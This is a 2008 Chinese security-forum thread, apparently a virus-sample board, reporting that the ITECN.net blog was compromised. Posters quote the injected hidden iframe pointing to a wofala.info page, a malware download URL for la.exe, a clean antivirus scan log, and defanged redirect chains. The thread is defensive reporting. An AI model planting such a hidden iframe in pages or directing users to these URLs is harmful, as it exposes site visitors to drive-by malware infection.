ITECN.net被挂马，大家小心

显示全部楼层 · 发表于 2008-3-1 12:18:23

http://blogs.itecn.net/blogs/default.aspx卡巴弹出报警窗口，源文件中有一行：
<iframe src=http://xxx.wofala.info/123.htm width=100 height=0></iframe>
怀疑是ARP

显示全部楼层 · 发表于 2008-3-1 12:35:27

http://xxx.huilaiba.info/ww/la.exe

ESS扫描日志
病毒库版本: 2913 (20080301)
日期: 2008-3-1 时间: 12:40:49
已扫描的磁盘、文件夹和文件: D:\Documents and Settings\xxxxxxxx\桌面\la.exe
已扫描的对象数: 1
发现的威胁数: 0
完成时间: 12:40:50 总扫描时间: 1 秒 (00:00:01)

[ 本帖最后由 tanlimo 于 2008-3-1 12:37 编辑 ]

显示全部楼层 · 发表于 2008-3-1 12:41:14

博客没发现问题，图片中的网址有问题。

显示全部楼层 · 发表于 2008-3-1 12:43:52

怎么可能是死链呢

样本：

下载地址：

顺便把以前搜集的结果给出来

hxxp://xxx.wofala.info/1001.htm?F100=11
            hxxp://xxx.wofala.info/ceshi/real.htm  --->hxxp://xxx.huilaiba.info/ww/la.exe
            hxxp://xxx.wofala.info/ceshi/lz.htm --->hxxp://xxx.huilaiba.info/ww/la.exe
            hxxp://xxx.wofala.info/ceshi/614.htm --->hxxp://xxx.huilaiba.info/ww/la.exe

[ 本帖最后由 zzh161 于 2008-3-1 12:46 编辑 ]

显示全部楼层 · 发表于 2008-3-1 13:01:15

SBie

显示全部楼层 · 发表于 2008-3-1 13:02:54

冷那个css应该不是吧。

显示全部楼层 · 发表于 2008-3-1 13:03:49

。。。。。
不清楚
可疑的画圈了

显示全部楼层 · 发表于 2008-3-1 13:06:49

css本来是层叠样式表来着
可是被以前那个bak。css带坏头了……呵呵

显示全部楼层 · 发表于 2008-3-1 13:07:55

恩被他影响了

显示全部楼层 · 发表于 2008-3-1 13:11:43

发现有个下载者喜欢去下张gif，打开以后看到会指向一个css。。。绝对怀疑那个css是用来计数的

[病毒样本] ITECN.net被挂马，大家小心

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

回复 6楼 jimmyleo 的帖子

回复 8楼 jimmyleo 的帖子